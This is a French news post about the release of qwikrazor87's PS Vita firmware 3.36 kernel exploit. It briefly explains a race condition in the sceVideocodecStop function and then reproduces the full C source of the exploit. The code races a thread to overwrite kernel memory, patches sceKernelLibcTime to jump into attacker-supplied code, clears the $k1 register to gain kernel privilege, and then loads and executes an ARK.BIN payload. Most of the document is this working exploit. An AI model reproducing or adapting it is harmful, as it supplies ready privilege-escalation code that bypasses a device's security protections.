Qwikrazor87 publie le code source de son kernel exploit pour firmware 3.36

Qwikrazer87 – que l’on ne présente plus – vient de publier à tout le monde le code source de son exploit kernel PSP tournant sur les PS Vita en firmware 3.36 (le dernier à l’heure actuelle). Bien évidemment réservé aux développeurs les plus aguerris ou les plus curieux, cet émulateur PSP utilise une vulnérabilité au niveau de la fonction sceVideocodecStop, dont l’auteur avait déjà parlé une fois en janvier sur son compte Twitter :

Cette vulnérabilité consiste en un remplissage de la mémoire tampon d’une vidéo à l’aide d’un contenu spécifique, et semble s’appuyer sur une situation de compétition (ou race condition) où le contenu de la mémoire tampon est modifié dans une tâche (thread) à part tandis que la fonction sceVideoCodecStop est appelée. Si vous n’avez rien compris, ce n’est pas grave, regardez tout de même en bas par curiosité. 😛

#include 

u32 sceMeCodecWrapper = 0x88136800, sw_address = 0;
int is_exploited = 0, running = 1;
u32 a0[24];

int storethread()
{
	while (running == 1) {
		a0[11] = sw_address;
		sceKernelDelayThread(1);
	}

	sceKernelExitThread(0);
}

void KernelContent()
{
	is_exploited = 1;

	__asm("move $k1, $0;");

	//"restore" me_wrapper mutex UID
	SceUID (* _sceKernelCreateMutex)(const char *name, u32 attr, int init_count, void *options) = \
		(void *)FindExport("sceThreadManager", "ThreadManForUser", 0xB7D098C6);

	SceUID mutex = _sceKernelCreateMutex("SceKermitMe", 256, 0, NULL);

	_sw(mutex, sceMeCodecWrapper + 0x2F80);

	//sceKernelLibcTime - pass address of kernel function in first arg, restored later in ARK code. |:
	_sw(0x00800008, 0x8800F9C4);	//jr	$a0
	_sw(0, 0x8800F9C8);		//nop

	void (* _sceKernelDcacheWritebackInvalidateAll)(void) = (void *)0x88000744;
	void (* _sceKernelIcacheInvalidateAll)(void) = (void *)0x88000E98;

	_sceKernelDcacheWritebackInvalidateAll();
	_sceKernelIcacheInvalidateAll();
}

void do_exploit()
{
	is_exploited = 0;
	running = 1;

	sw_address = (sceMeCodecWrapper + 0x2F80) - 36;

	SceUID thid = sceKernelCreateThread("thid", storethread, 8, 512, THREAD_ATTR_USER, NULL);
	sceKernelStartThread(thid, 0, NULL);

	sceUtilityLoadModule(0x300);
	sceUtilityLoadModule(0x303);

	int (* sceVideocodecStop)(u32 *a0, int a1) = (void *)FindImport("sceVideocodec", 0xA2F0564E, 0);

	memset(a0, 0, sizeof(a0));

	a0[0] = 0x05100601;
	a0[15] = 1;

	int i;

	while (a0[2] != 0x800201C3) {
		a0[15] = 1;
		a0[3] = 0x09000000;
		a0[4] = 0x09000000;
		a0[2] = 0;
		a0[11] = 0x09000000;

		sceVideocodecStop(a0, 0);
	}

	fillvram(-1);

	sw_address = 0x8800F9C4 - 36;

	int (* _sceKernelLibcTime)(u32, u32) = (void *)sceKernelLibcTime;

	while (is_exploited != 1) {
		a0[15] = 1;
		a0[11] = 0x09000000;
		a0[3] = 0x09000000;
		a0[4] = 0x09000000;

		sceVideocodecStop(a0, 0);

		sceKernelDcacheWritebackAll();

		_sceKernelLibcTime(0x08800000, ((u32)&KernelContent | 0x80000000));
	}

	fillvram(0xFF00);

	running = 0;

	u8 buf[0x4000];

	SceUID fd = sceIoOpen("ms0:/PSP/SAVEDATA/NPUG80320KEXPLOIT/ARK.BIN", PSP_O_RDONLY, 0777);
	sceIoRead(fd, buf, sizeof(buf));
	sceIoClose(fd);

	memcpy((void *)0x10000, buf, sizeof(buf));

	sceKernelDcacheWritebackAll();

	void (* Start)(const char *) = (void *)0x10000;
	Start("ms0:/PSP/SAVEDATA/NPUG80320KEXPLOIT/");
}

void _start() __attribute__ ((section (".text.start")));
void _start()
{
	fillvram(0x80808080);
	do_exploit();
	sceKernelExitGame();
}